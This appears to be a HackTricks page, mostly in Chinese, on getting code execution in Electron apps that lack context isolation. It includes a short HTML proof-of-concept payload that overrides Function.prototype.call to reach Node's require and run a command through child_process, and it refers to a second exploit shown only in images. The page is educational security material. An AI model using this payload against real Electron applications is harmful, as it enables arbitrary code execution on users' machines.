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77 lines
4.6 KiB
Markdown
77 lines
4.6 KiB
Markdown
# Electron contextIsolation RCE via Electron internal code
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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## 示例 1
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来自 [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
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当页面加载开始时，"exit" 事件监听器总是由内部代码设置。此事件在导航之前发出：
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```javascript
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process.on('exit', function (){
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for (let p in cachedArchives) {
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if (!hasProp.call(cachedArchives, p)) continue
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cachedArchives[p].destroy()
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}
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})
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```
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{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
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.png>)
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https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- 不再存在
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然后到这里：
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.png>)
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其中 "self" 是 Node 的 process 对象：
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 (1).png>)
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process 对象有一个对 "require" 函数的引用：
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```
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process.mainModule.require
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```
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由于 handler.call 将接收 process 对象，我们可以覆盖它以执行任意代码：
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```html
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<script>
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Function.prototype.call = function(process){
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process.mainModule.require('child_process').execSync('calc');
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}
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location.reload();//Trigger the "exit" event
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</script>
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```
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## 示例 2
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从[https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)获取**原型污染中的 require 对象**。
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泄漏：
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<figure><img src="../../../.gitbook/assets/image (34).png" alt=""><figcaption></figcaption></figure>
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利用：
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<figure><img src="../../../.gitbook/assets/image (35).png" alt=""><figcaption></figcaption></figure>
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* 探索我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
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* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
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* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord 群组**](https://discord.gg/hRep4RUj7f) 或 **电报群组** 或在 **Twitter** 上**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我**。
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* **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享您的黑客技巧**。
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</details>
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